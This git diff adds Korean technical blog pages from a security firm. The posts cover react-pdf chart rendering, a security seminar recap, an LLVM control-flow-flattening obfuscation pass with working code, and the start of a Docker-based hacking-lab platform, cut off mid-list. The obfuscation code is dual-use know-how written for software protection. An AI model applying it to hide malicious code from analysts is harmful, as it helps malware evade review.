jwpark@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-06-30/pdf-with-react.html b/docs/2022-06-30/pdf-with-react.html new file mode 100644 index 0000000..01dd1e4 --- /dev/null +++ b/docs/2022-06-30/pdf-with-react.html @@ -0,0 +1,337 @@ + + + + + + + + + + +React로 pdf 다루기 + +React로 pdf 다루기 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
Dev
+
React로 pdf 다루기
+
+
+ + 하준혁 +
+
Jun 30, 2022
+
+
+
+
+
+

React로 pdf 다루기

+ +

올해 초, 월간 레포트 리뉴얼 이라는 업무를 새롭게 배정받게 되었습니다. +디자인은 회사 대표 디자이너이신 재성님이 아주 아름답게 만들어주셨지만, 코드로 PDF를 만들거나 다뤄본 적이 없는 저는 막연한 두려움을 갖게 되었습니다.

+ +

왜 리뉴얼을 진행했나?

+ +

기존에 사용하던 코드로도 월말마다 회사 Jira에 저장되는 이슈들을 정리하여 메일로 보내기에는 충분했습니다. +하지만 프로젝트 코드가 관리가 잘 되지 않아서 새로운 디자인을 적용하고, 새로운 데이터를 뽑아내기 위해 이 코드를 처음부터 리딩하기는 조금 힘든 상황이였습니다. +특히, 주로 사용하는 언어도 다르기도 했구요.

+ + + + + + + + + + + + +
codemanage
코드 관리 절망편
+ +

따라서 저는 제가 주로 사용하는 Typescript와 React 기반으로 월간 레포트 시스템을 새로 만들기로 했습니다. 기존처럼 스크립트 형태로도 작성할 수 있지만, 예전에 보낸 레포트 조회나 이미지 변경 등을 개발자인 저 뿐만 아니라, 다른 분들도 플랫폼을 통해 확인할 수 있으면 더 좋을 것 같아서 웹 시스템으로 개발하기 위한 계획을 세웠습니다.

+ +

React-PDF

+ +

월간 레포트에서 사용하는 데이터는 저희 Jira와 Confluence에서 가져오게 됩니다. +사실 Jira나 Confluence에서 데이터를 불러오거나 페이지를 생성하는 API는 너무나도 잘 되어있어서 큰 무리 없이 사용할 수 있었습니다.

+ +

하지만, 가장 큰 문제는 역시 가져온 데이터를 기반으로 새로운 PDF 를 생성하는 과정이였습니다.

+ +

react-pdf

+ +

react-pdf는 React를 기반으로 PDF를 렌더링하거나 생성할 수 있는 라이브러리 입니다. +라이브러리에서 제공하는 Document 컴포넌트를 기반으로 PDF 파일을 렌더링하며, StyleSheet를 통해서 기존 jsx 처럼 글자나 뷰 자체에 스타일링을 할 수 있도록하는 다양하고 필수적인 기능을 포함하고 있습니다.

+ +

또한 svg도 지원하기 때문에, 이미지나 차트 등도 쉽게 표현할 수 있습니다.

+ +

그래서 저는 react-pdf를 기반으로 디자인된 PDF를 만들기 시작했습니다.

+ +

위기

+ +

사실 react-pdf라는 라이브러리를 발견했을 때, 작업이 금방 끝날 줄 알았습니다. +하지만, 사용하다보니 생각하지 못한 몇 가지 문제점들을 마주하게 되었습니다.

+ +
    +
  1. Vite 환경에서 react-pdf가 잘 작동하지 않았습니다. +
      +
    • issue
    • +
    • Vite에서 사용하기 위해서는 추가적으로 브라우저용 라이브러리를 추가해주어야 합니다.
    • +
    • 라이브러리 로 해결했습니다.
    • +
    +
  2. +
  3. 프론트엔드에서 pdf를 생성하다보니, 브라우저 콘솔에서 많은 에러가 발생했습니다. +
      +
    • 클라이언트쪽에서 렌더링을 하는 과정에서 이슈가 있는 것 같았습니다.
    • +
    • 다행히, 작동에는 이상이 없어서 우선 넘어가게 되었습니다.
    • +
    +
  4. +
  5. 차트를 그리기가 조금 까다로웠습니다. +
      +
    • svg를 지원한다고 해서 nivo를 사용하려고 했는데, 구조상 차트컴포넌트 -> svg -> react-pdf 의 형식으로 쓰면 오류가 발생하는 바람에 결국 스스로 만들어서 썼습니다.
    • +
    +
  6. +
+ +

특히, 마지막 3번이 저를 굉장히 괴롭히게 되었습니다.

+ +

월간 레포트의 특성 상, 차트나 표가 대부분의 데이터를 이루고 있었습니다. +특히, 차트는 원형, 막대형 그래프 등 다양한 그래프를 사용할 예정이였기 때문에 작업에 지장이 있을 수 밖에 없었습니다.

+ +

다행히, react-pdf 에서는 svg를 다루기 위한 여러 컴포넌트가 존재하고 있었습니다. +그 중에서 사용한 것은 Path 이였습니다.

+ +

PieGraph를 만들 때, 전체 데이터 중에서 차지하는 부분의 각도와 반지름을 통해 각각의 좌표를 구했습니다.

+ +
function _toXY(cX: number, cY: number, r: number, degrees: number) {
+  const rad = (degrees * Math.PI) / 180.0;
+  return {
+    x: cX + r * Math.cos(rad),
+    y: cY + r * Math.sin(rad),
+  };
+}
+
+function toPieChartItemPath(
+  x: number,
+  y: number,
+  radiusIn: number,
+  radiusOut: number,
+  startAngle: number,
+  endAngle: number
+) {
+  startAngle += 270;
+  endAngle += 270;
+  const startIn = _toXY(x, y, radiusIn, endAngle);
+  const endIn = _toXY(x, y, radiusIn, startAngle);
+  const startOut = _toXY(x, y, radiusOut, endAngle);
+  const endOut = _toXY(x, y, radiusOut, startAngle);
+  const arcSweep = endAngle - startAngle <= 180 ? "0" : "1";
+  const d = [
+    "M",
+    startIn.x,
+    startIn.y,
+    "L",
+    startOut.x,
+    startOut.y,
+    "A",
+    radiusOut,
+    radiusOut,
+    0,
+    arcSweep,
+    0,
+    endOut.x,
+    endOut.y,
+    "L",
+    endIn.x,
+    endIn.y,
+    "A",
+    radiusIn,
+    radiusIn,
+    0,
+    arcSweep,
+    1,
+    startIn.x,
+    startIn.y,
+    "z",
+  ].join(" ");
+  return d;
+}
+
+ +

이를 Svg 안의 Path 객체로 선을 그리고, 그 안을 색으로 채워 그래프를 그릴 수 있게 했습니다. 코드는 다음과 같습니다.

+ +
const PieGraph:React.FC<{datas: Data[]}> = ({datas}) => {
+  return <Svg width="256" height="172">
+      {data.map((item, idx) => (
+        <Path
+          key={item.id}
+          d={toPieChartItemPath(128, 86, 0, 64, range[idx], range[idx + 1])}
+          fill={colors[item.id]}
+        />
+      ))}
+      </Svg>
+}
+
+ +

예시

+ +

chart

+ +

PolyLine 컴포넌트를 통해 외부에 퍼센트를 나타낼 수 있게도 구현하였습니다.

+ +

이런 방식으로 PieGraph와 LineGraph도 그릴 수 있었습니다.

+ +

아마도 react-pdf에서 일반적인 태그를 사용하지 않아서 nivo와 같은 차트 라이브러리들이 작동하지 않았을 것 같습니다.

+ +

결론

+ +

이제는 제가 만든 새로운 코드를 기반으로 많은 고객사에 앱슈트 월간 레포트가 전달되고 있습니다.

+ +

처음에 기획했던 기능들을 전부 넣지는 못했지만, 계속 업데이트를 해서 사내에서 가장 유용하게 사용하는 프로젝트가 되기를 바랍니다.

+ +
+
+
+ +
+
+
하준혁
+
jhha@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-06-30/stealien-security-seminar.html b/docs/2022-06-30/stealien-security-seminar.html new file mode 100644 index 0000000..e02559e --- /dev/null +++ b/docs/2022-06-30/stealien-security-seminar.html @@ -0,0 +1,292 @@ + + + + + + + + + + +Stealien Security Seminar 1회 리뷰 + +Stealien Security Seminar 1회 리뷰 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Stealien Security Seminar 1회 리뷰
+
+
+ + 김도현 +
+
Jun 30, 2022
+
+
+
+
+
+

Stealien Security Seminar 1회 리뷰

+ +

+
+ Banner +

+ +

안녕하세요! 저는 스틸리언의 김도현 선임연구원입니다.

+ +

2022년 6월 29일, 스틸리언에서 주관하는 첫 세미나가 성공적으로 진행되었습니다.

+ +

대망의 첫 세미나에서는 SSL1 수료생 분들의 연구에 대해 소개하는 SSL 세션과, 스틸리언 연구원들의 연구에 대해 소개하는 Open 세션 그리고 오프라인에서만 진행하는 Secret 세션이 있었는데요, 이번 세미나는 유튜브를 통해 온라인으로도 송출하였기 때문에 혹시나 내용을 중간에 놓치셨거나, 시간이 없어 참석하지 못하신 분들은 다시보기를 통해 언제든 자유롭게 저희의 발표를 즐겨주시면 감사하겠습니다.

+ +

혹시나 아직 이번 세미나의 재미있는 발표 주제들을 듣지 못 하신분들을 위해서 이렇게 주제들에 대한 간단한 소개와 요약을 작성해 보았습니다.

+ +

[Open] Static Vulnerability Analysis

+ +

+
+ 발표 현장 +

+ +

세미나의 첫발은 제가 내디뎠습니다.

+ +

저의 주요 관심사 중 한가지는 다양한 어플리케이션 또는 임베디드 장비의 취약점을 찾는 것입니다. +이런류의 버그바운티 또는 프로젝트를 해 보신분들은 잘 아시겠지만, 생각보다는 국내의 타겟들은 아직도 복잡도가 낮은 취약점들이 많이 나오고 있습니다.

+ +

이런 취약점들을 effortless하게 발굴하기 위해서 저는 Static Vulnerability Analysis 또는 Static Program Analysis for Vulnerability Research라는 방법을 이용했습니다. 이번 발표에서는 Static Vulnerability Analysis에 대한 기본적인 소개와, Fuzzing과 비교하여 이 기법의 장점과 단점에 대해 설명하고, 간단한 몇가지 테크닉에 대해 발표했습니다.

+ +

또한 마지막에는 소개드린 주제를 바탕으로 SSL 3기에서 진행할 내용에 대해 소개 드렸습니다.

+ +

영상에서는 28:49부터 저의 발표가 시작되니, 재미있게 들어주시면 감사하겠습니다 🤩

+ +

[SSL] IDAPython으로 분석을 더 편하게 하는 방법

+ +

+
+ 발표 현장 +

+ +

두번째 발표는 SSL 2기 수료생 황선우님이 진행해 주셨습니다.

+ +

IDA Pro에서 제공하는 API를 이용하여 malware 분석, plugin에 대한 소개 및 CTF 문제를 IDAPython으로 해결하는 방법에 대해 소개 해 주셨습니다. +특히 Windows OS의 application이 GetModuleHandleA(), LoadLibraryA(), GetProcAddress() chain을 이용해 binary에서 실행하고자 하는 procedure의 주소를 가져올 때, IDAPython을 이용하여 난독화 된 대상 library 및 procedure의 이름(문자열)을 복구할 수 있는 방법을 소개 해 주셨던 점이 저에게는 인상깊었습니다.

+ +

이후에는 b01lers CTF - TM, DCTF - Glade 문제를 직접 IDAPython을 이용하여 분석하는 예를 보여주시기도 하였습니다.

+ +

영상에서는 1:08:25부터 선우님의 발표가 시작되니, IDAPython의 강력한 기능을 이용해 보고 싶으신 분들은 한번 꼭 시청 해 보셔야겠네요 😎

+ +

[SSL] 권한 상승 취약점 분석 방법론 + a

+ +

+
+ 발표 현장 +

+ +

세번째 발표 또한 SSL 2기 수료생 장재훈님이 진행해 주셨습니다.

+ +

장재훈님께서는 SSL 2기의 주제인 ‘권한 상승 취약점 분석 방법론’을 바탕으로 추가로 연구한 내용을 더해 이번 발표를 해 주셨습니다. +방법론2에는 권한 상승 취약점을 관리적 측면, 기술적 측면으로 나누어 소개하고 있는데, 각 취약점에 대한 디테일이 더해져 보는 맛이 있는 발표였던 것 같습니다.

+ +

또한 이번 발표에는 ‘File Junction’, ‘Named Pipe Impersonation’ 등 개발자가 유의하지 않으면 발생하기 쉽고, 치명적인 버그 클래스들에 대해서도 소개 해 주셨습니다.

+ +

요즘의 시스템들은 권한 분리가 잘 되어있는 경우가 많아지고 있지만, 권한이 분리 된 환경에서도 여전히 실수가 발생하면 성공적으로 공격을 수행시킬 수 있다는 사실을 이번 발표를 통해 잘 보여주신 것 같습니다.

+ +

영상에서는 1:59:05부터 재훈님의 발표가 시작됩니다. SSL을 통해 어떤 프로젝트를 진행하며 뭘 배워갈 수 있을지에 대해 궁금하신 분들은 한번 시청 해 보시는 것을 추천 드립니다! 👏

+ +

[Open] 모던 웹 환경에서의 버그케이스와 시큐어코딩

+ +

+
+ 발표 현장 +

+ +

네번째 발표는 저희 회사에서 많은 귀여움을 받고 있는 윤석찬 선임 연구원이 발표 해 주셨습니다.

+ +

윤석찬 연구원은 점점 스택이 높게 쌓여지는 모던 웹 어플리케이션에서 어떤 방식의 취약점을 찾을 수 있고, 이를 보완하는 방법에 대해 소개해 주셨습니다. 눈높이에 맞춰 하나씩 차근차근 알려주는 윤석찬 연구원의 스윗함에 빠질것 같았지만 겨우겨우 살아 돌아왔네요. 이 발표는 윤석찬 연구원이 직접 여러 프로젝트를 진행하며 배운 내용을 바탕으로 하고 있으니, 굉장히 practical한 발표라고 볼 수도 있겠네요!

+ +

백엔드, 프론트엔드에서 발생할 수 있는 일반적인 취약점들과, Django, React.js와 같은 특정한 플랫폼, 프레임워크에서만 발생할 수 있는 취약점들을 잘 알려 주셔서 너무 좋았다는 평이 가득합니다.

+ +

영상에서는 2:48:30부터 석찬님의 발표가 시작됩니다. 평소 CTF를 통해 웹해킹은 어느정도 할 수 있지만, real-world에 입문하고 싶은 웹해커들에게 이 발표를 추천하는 바입니다. 🐞

+ +

[Open] MEV

+ +

+
+ 발표 현장 +

+ +

다섯번째 발표는 스틸리언의 한호정 연구원님이 진행해주셨습니다

+ +

한호정 연구원님은 해당 발표에서 Blockchain에 대한 취약점 분석 외에 MEV(Miner Extractable Value)에 대해서 소개해주셨습니다 +Blockchain에 대한 Security Audit 산업이 MEV에 대한 research로도 발전할 것이라고 보는 한호정 연구원님의 견해는 매우 흥미로운것같습니다

+ +

해당 발표에서는 MEV가 무엇인지, 또 MEV에는 어떠한 종류들이 있었는지, MEV를 완화시키거나 제거하기위해서 어떠한것들이 존재하는지, 마지막으로 한호정연구원님이 직접 MEV에 대해서 추출한 경험담에 대해서 소개합니다

+ +

영상에서는 3:27:38부터 호정님의 발표가 시작됩니다. 평소 Blockchain에 대해서 관심있는 분들이라면 한번 시청해보시는것을 추천드립니다. 💰

+ +

Closing

+ +

이제 첫번째 Stealien Securit Seminar를 모두 돌아 봤습니다. 흥미진진한 주제로 발표해 주신 발표자님들 모두에게 감사드리며, 스틸리언에 관심을 가져주시고 방문해주신 분들에게 무한한 감사를 보냅니다. 또한, 비록 현장에 계시진 못했지만 온라인으로 저희를 응원해 주신 분들에게도 감사를 드립니다.

+ +

앞으로도 멋지게 발전해 나가는 스틸리언과 스틸리언의 해커들이 되도록 하겠습니다.

+ +

감사합니다.

+ +

Footnotes

+ +
+
    +
  1. +

    Stealien Security Leader, 스틸리언 주관 멘토링 프로그램 

    +
  2. +
  3. +

    Paper: 권한 상승 취약점 점검 가이드 및 탐지 방법 제안, Doc: 권한 상승 취약점 점검 가이드 

    +
  4. +
+
+ +
+
+
+ +
+
+
김도현
+
dhkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-07-13/llvm-flow-flatten.html b/docs/2022-07-13/llvm-flow-flatten.html new file mode 100644 index 0000000..134a589 --- /dev/null +++ b/docs/2022-07-13/llvm-flow-flatten.html @@ -0,0 +1,356 @@ + + + + + + + + + + +LLVM을 사용한 Control Flow Flattening 패스 개발 + +LLVM을 사용한 Control Flow Flattening 패스 개발 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
Dev
+
LLVM을 사용한 Control Flow Flattening 패스 개발
+
+
+ + 조장현 +
+
Jul 13, 2022
+
+
+
+
+
+

LLVM을 사용한 Control Flow Flattening 패스 개발

+ +

LLVM을 이용하여 난독화를 할 수 있으면 이를 기반으로 다양한 플랫폼에서 LLVM을 사용하여 빌드되는 코드들에 대한 공통 난독화 툴을 만들 수 있을 것이라고 생각하였습니다.

+ +

이를 위해 여러가지 난독화 및 암호화 패스를 개발하였고 이 글에서는 그 중 한 가지인 흐름 평면화 패스의 개발 과정에 대해 소개하겠습니다.

+ +

LLVM이란

+ +

LLVM의 정식 명칭은 Low Level Virtual Machine입니다.

+ +

하지만 이 프로젝트의 핵심은 기존의 virtual machine 개념보다는 모듈화 되고 재사용 가능한 컴파일러 기술을 의미합니다. 그리고 이것은 target independent한 optimizer, target specific 한 어셈블리 코드를 생성하는 code generator 같은 컴파일러 도구들과 프로그래밍 언어와 어셈블리 코드 사이에 LLVM intermediate representation으로 알려진 LLVM IR이라는 중간 단계의 언어로 이루어져 있습니다.

+ +

이 글에서는 LLVM에서 모듈화된 컴파일러를 제작할 수 있는 구조인 패스를 통해 흐름 난독화를 하였습니다.

+ +

Control Flow Flattening란

+ +

흐름 평면화, control flow flattening은 코드의 흐름을 평면화 시키는 난독화 기술입니다. Loop, conditional branch 같은 코드의 흐름을 전부 하나의 거대한 switch 문에 집어넣어서 모든 다른 블록으로의 이동이 단 하나의 블록으로부터 이루어지도록 만들어 코드를 분석하기 어렵게 만듭니다. 흐름 그래프가 마지막 사진과 같은 구조로 변경됩니다.

+ +

환경 구성

+ +

이 글에서는 llvm 13 버전을 바탕으로 LLVM을 빌드 하였습니다.

+ +

아래 cmake 명령이 정상적으로 실행된 후 ninja를 통해 빌드할 수 있습니다.

+ +

LLVM 개발은 샘플 패스인 llvm/lib/Transforms/Hello를 덮어씌워 흐름 평면화를 위한 커스텀 패스를 개발하였습니다.

+ +
cmake -G Ninja -DLLVM_PARALLEL_LINK_JOBS=1 -DCMAKE_BUILD_TYPE=Debug -DLLVM_ENABLE_PROJECTS=clang ../llvm-project/llvm
+
+ +

흐름 평면화 적용 시 발생하는 오류

+ +

LLVM에서 Function 클래스 아래에 존재하는 Basic Block들을 흐름 평면화의 개념에 따라 하나의 거대한 Switch Instruction 아래에 집어넣음으로써 구현해 낼 수 있습니다.

+ +

이처럼 수정을 시도할 경우 LLVM Verifier에서 수정된 내용이 유효한지 검증합니다. 흐름 그래프와 관련된 검증에는 preds라는 어떤 블록에서 이 블록으로 이동할 수 있는지에 대한 정보가 주로 사용되는데, 이와 관련된 아래 3가지 검증에서 오류가 자주 발생합니다.

+ +
    +
  1. +

    phi node의 경우 모든 케이스와 preds가 일치해야 한다.

    + +
     PHINode should have one entry for each predecessor of its parent basic block!
    + %62 = phi i32 [ %30, %23 ], [ %35, %32 ], [ %40, %37 ], [ %60, %54 ], !dbg !1211
    + LLVM ERROR: Broken module found, compilation aborted!
    +
    +
  2. +
  3. +

    블록 A에서 호출하는 변수는 entry block에서 블록 A에 도달하기 전에 정의되어야 한다.

    + +
     Instruction does not dominate all uses!
    + %alloc = alloca i64, align 8
    + %load = load i64, i64* %alloc, align 8
    + LLVM ERROR: Broken module found, compilation aborted!
    +
    +
  4. +
  5. +

    Landingpad를 가진 블록은 반드시 invoke에 의해서 호출되어야 한다.

    + +
     Block containing LandingPadInst must be jumped to only by the unwind edge of an invoke.
    + LLVM ERROR: Broken module found, compilation aborted!
    +
    + +

    이 문제들 중 1번과 2번은 opt에 기본으로 내장되어 있는 –reg2mem 옵션을 사용함으로써 대부분 해결할 수 있습니다. 이 옵션은 phi 노드들을 제거하고 모든 allocation을 entry block에서 하도록 수정해줍니다. 이를 적용함으로써 흐름 평면화를 진행하기 쉬워집니다. 다만 이 옵션을 적용하여도 남아있는 phi node가 있는 경우가 있어 이에 대한 예외처리를 해야 합니다.

    +
  6. +
+ +

3번의 경우 switch-case 블록에서 호출할 수 없기 때문에 예외처리를 해야 합니다.

+ +

평면화 코드 구현

+ +

우선 switch-case 문에서 호출할 수 있는 블록들을 확인해야합니다. Function 클래스에 iterator를 돌면서 위의 3번, LandingPad를 가졌는지 확인하고 아닌 것들을 벡터 형태로 수집합니다. Allocation이 이루어지는 블록은 따로 분리해 두어야 하기 때문에 entry block을 제거해주어야 합니다.

+ +
vector<BasicBlock *> origBB;
+for (Function::iterator i = F.begin(); i != F.end(); ++i)
+{
+    BasicBlock *block = &*i;
+    if (!block->isLandingPad())
+    {
+        origBB.push_back(block);
+    }
+}
+origBB.erase(origBB.begin());
+return origBB;
+
+ +

그 다음 IRBuilder를 사용하여 Switch Instruction을 가지게 될 Basic Block을 만들어야 합니다. Switch 블록에는 default로 어떤 블록으로 점프할 것인지를 지정해 주어야 하는데 이것 역시 새로운 빈 블록, swDefault를 생성하여 지정해 주었습니다.

+ +
BasicBlock *swDefault = BasicBlock::Create(Context, "StealienCFGSwitchDefault", &F, *origBB.begin());
+IRBuilder<> IRBswDefault(swDefault);
+IRBswDefault.CreateBr(*origBB.begin());
+
+BasicBlock *startSwitch = BasicBlock::Create(Context, "StealienCFGswitch", &F, swDefault);
+IRBuilder<> IRBswitch(startSwitch);
+
+ +

그 다음 Switch에서 사용할 변수를 Entry Block에서 allocation을 해 준 뒤, Switch 블록에서 이 값을 Value add로 가져오도록 설정합니다.

+ +
AllocaInst *switchVar = new AllocaInst(llvm::Type::getInt64Ty(Context), AddrSpace, nullptr, AllocaAlign, "", entryBlock->getTerminator());
+LoadInst *load = IRBswitch.CreateAlignedLoad(llvm::Type::getInt64Ty(Context), switchVar, MaybeAlign(8));
+Value *add = IRBswitch.CreateAdd(load, ConstantInt::get(llvm::Type::getInt64Ty(Context), 762167));
+
+ +

그 후 IRBSwitch에 Switch Instruction을 생성합니다. randomArr은 특정 범위의 수를 랜덤한 순서로 섞은 리스트이며, 이 값들을 사용해서 아래와 같이 case들을 추가해줍니다.

+ +
switchI = IRBswitch.CreateSwitch(add, swDefault, randomArr[origBB.size()]);
+for (BasicBlock *setSwitchBlocks : origBB)
+{
+    BasicBlock *selectedBlock = setSwitchBlocks;
+    if(!this->hasPHI(selectedBlock)) {
+        ConstantInt *constCase = llvm::ConstantInt::get(llvm::Type::getInt64Ty(Context), randomArr[index]);
+        switchI->addCase(constCase, selectedBlock);
+    }
+}
+
+ +

마지막으로 origBB에 있는 BasicBlock 들의 Terminator를 BranchInst인지 그리고 Successor 개수에 따라 분류할 수 있습니다. BranchInst는 1개 혹은 2개의 Successor를 가지며, 이것들이 수정 대상입니다.

+ +
    +
  • Branch Instruction이 아닌 경우 : return 혹은 unreachable 같은 종류되는 경우 혹은 invoke와 같이 수정이 불가능한 Terminating Instruction인 경우
  • +
  • Branch Instruction의 Successor가 1인 경우 : branch BlockA 같이 다른 블록으로 이동하는 경우
  • +
  • Branch Instruction의 Successor가 2인 경우 : branch condition BlockA BlockB 처럼 condition 값에 따라 이동하는 블록이 이동되는 경우
  • +
+ +

따라서 Branch Instruction에서 이동할 블록에 지정된 값을 Switch Instruction에서 찾아서 위에서 생성해둔 switchVar에 저장해주고 Switch Block으로 돌아가면 자동으로 이걸 로드해서 원하는 블록으로 이동하게 될 것입니다. Successor의 개수가 1인 경우에 대한 코드는 아래와 같습니다. 2인 경우에도 둘 다에 대해 동일하게 처리해주면 됩니다.

+ +

아래 코드에서는 Switch Instruction에서 가져온 intCase 값이 직접 드러나는 것을 숨기기 위해 추가적인 덧셈과 곱셈을 수행하도록 하였습니다.

+ +
if(!isa<BranchInst>(selectedBlock->getTerminator())){
+    continue;
+}
+uint64_t successors = selectedBlock->getTerminator()->getNumSuccessors();
+if (successors == 1)
+{
+    BasicBlock *follow = selectedBlock->getTerminator()->getSuccessor(0);
+    ConstantInt *intCase = switchI->findCaseDest(follow);
+    if (intCase == NULL)
+    {
+        continue;
+    }
+    selectedBlock->getTerminator()->eraseFromParent();
+    IRBuilder<NoFolder> tempBuilder(selectedBlock);
+    uint64_t origCase = intCase->getSExtValue() - addVal;
+    uint64_t randVal = 17+rand()%10000;
+    Value * mul = tempBuilder.CreateMul(ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase/randVal), ConstantInt::get(llvm::Type::getInt64Ty(Context), randVal));
+    Value * add = tempBuilder.CreateAdd(mul, ConstantInt::get(llvm::Type::getInt64Ty(Context), origCase%randVal));
+    tempBuilder.CreateAlignedStore(add, switchVar, MaybeAlign(8));
+    tempBuilder.CreateBr(startSwitch);
+}
+
+ +

전후비교

+ +

위와 같은 Control Flow Flattening 작업을 수행하면 아래와 같은 코드를 얻을 수 있습니다.

+ +

Opt의 -dot-cfg 옵션을 사용하여 흐름 평면화 전용 전과 후를 비교하면 StealienCFGswitch 라는 Switch 블록이 추가된 것과 모든 블록이 다시 이 블록으로 돌아가는 난독화 기능이 적용된 것을 확인할 수 있습니다.

+ +

이러한 난독화 기능은 다른 난독화 기능들과 함께 적용하면 훨씬 더 분석하기 어려운 코드를 만들어 낼 수 있습니다.

+ + + + + + + + + + + + +
Original Flow Graph
기존 흐름 그래프
+ + + + + + + + + + + + +
Flattened Flow Graph
평면화 모듈 적용 후 흐름 그래프
+ + +
+
+
+ +
+
+
조장현
+
jhcho@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-10-04/secure-coding-traing-system.html b/docs/2022-10-04/secure-coding-traing-system.html new file mode 100644 index 0000000..5224019 --- /dev/null +++ b/docs/2022-10-04/secure-coding-traing-system.html @@ -0,0 +1,298 @@ + + + + + + + + + + +Secure Coding Training System 개발기 + +Secure Coding Training System 개발기 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Secure Coding Training System 개발기
+
+
+ + 윤석찬 +
+
Oct 4, 2022
+
+
+
+
+
+

개요

+ +

안녕하세요. 스틸리언 R&D팀 윤석찬입니다. 저는 스틸리언에서 모의해킹, 보안 기술 연구 뿐만 아니라 다양한 제품을 개발하고 있기도 합니다. 제가 개발에 참여한 대표적인 것 중 하나는 Cyber Drill System이라는 교육 플랫폼입니다. 스틸리언에서는 이 플랫폼을 이용해 학생 혹은 실무자 분들을 대상으로 교육하고 있습니다. 입사하고 약 2개월이 되던 때 즈음 이 프로젝트에 참가하게 되었는데, 벌써 3년째가 되었네요 😄 저는 이 프로젝트를 좀 더 고도화하고 새로운 형식의 플랫폼을 위해서 노력하고 있습니다.

+ +

최근 몇몇 워게임, 해킹대회(CTF) 중에는 취약한 인스턴스를 할당받고, 이것을 공격하는 형태의 플랫폼이 증가하고 있습니다. 대표적으로는 HackTheBox, 드림핵 플랫폼이 있습니다. 이 중 HackTheBox 플랫폼은 실제 인스턴스를 할당받는 방식으로 구현되었으며, 독립적인 가상 서버에서 실습할 수 있기 때문에 좀 더 다양한 공격을 시도해볼 수 있게 됩니다.

+ +

가령 일반적인 CTF 플랫폼에서는 하나의 가상서버에 여러 사용자가 접근하여 취약점을 공격하기 때문에 LPE* 기법을 쓰지 못하도록 막아놓는 경우가 일반적인 반면, HackTheBox는 타겟의 쉘을 얻는 것에 그치지 않고 가상서버에서 얻은 쉘을 이용해 LPE까지 유도하기도 합니다. 저도 HackTheBox와 같은 인스턴스 할당 방식의 교육 훈련 시스템을 만들어서 효용성 높은 훈련 시스템을 만들고자 했고, docker command 중 몇 개를 python 코드에 매핑만 해두어도 충분히 구현할 수 있겠다는 생각이 들었습니다. 그렇게 관련 자료를 찾아보다 Docker SDK라는 라이브러리를 찾을 수 있었습니다.

+ +

* LPE : Local Privilege Escalation

+ +

Docker SDK

+ +

Docker SDK 라이브러리는 docker 안의 대부분의 명령어를 파이썬 코드로 매핑해놓은 라이브러리입니다. 그런데 제가 생각했던 점과 다른 점이 있다면 이 라이브러리는 docker [command] 형식의 커맨드를 매핑해놓은게 아니라, /var/run/docker.sock 에 마운트된 유닉스 소켓을 통한 HTTP API 통신으로 매핑해놓았다는 것입니다. (정확히는 docker [command] 방식도 내부적으로는 유닉스 소켓을 통한 HTTP API 통신을 합니다.)

+ +

실제로 공식홈페이지에 들어가보면 도커 명령어를 파이썬 명령어로 실행시킬 수 있음을 확인할 수 있습니다.

+ +

Using echo command in alpine image

+
>>> import docker
+>>> client = docker.from_env()
+>>> client.containers.run('alpine', 'echo hello world')
+b'hello world\n'
+
+ +

Managing your containers

+
>>> client.containers.list()
+[<Container '45e6d2de7c54'>, <Container 'db18e4f20eaa'>, ...]
+>>> container = client.containers.get('45e6d2de7c54')
+>>> container.attrs['Config']['Image']
+"bfirsh/reticulate-splines"
+>>> container.logs()
+"Reticulating spline 1...\n"
+>>> container.stop()
+
+ +

[참고] : https://docker-py.readthedocs.io/en/stable/

+ +

위처럼 Docker SDK를 통해 docker command를 자동화할 수 있고, 만들 수 있는 것들이 무궁무진해집니다. 이 라이브러리를 사용하면 docker를 통한 이미지, 컨테이너 관리 작업을 코드 상에서 안정적으로 구현할 수 있습니다. 저는 이것을 통해 AWS EC2 서비스 같은 VPC (Virtual Private Cloud) 서비스를 구현해볼 수 있을 것 같다는 생각이 들었습니다.

+ +

Simple VPC Service

+ +

그래서 Docker SDK 라이브러리로 처음 구현해본 서비스는 VPC 서비스입니다. 제가 만든 VPC 서비스의 주요 기능은 사용자가 버튼을 클릭하면 SSH 서버를 제공하는 것입니다. 이 기능을 구현하기 위해 내부적으로 거쳐야 하는 과정은 다음과 같습니다.

+ +
    +
  1. 사용자의 정보를 확인해서 서버 생성 권한이 있는지 확인한다.
  2. +
  3. 사용자로부터 포트 번호를 받는다.
  4. +
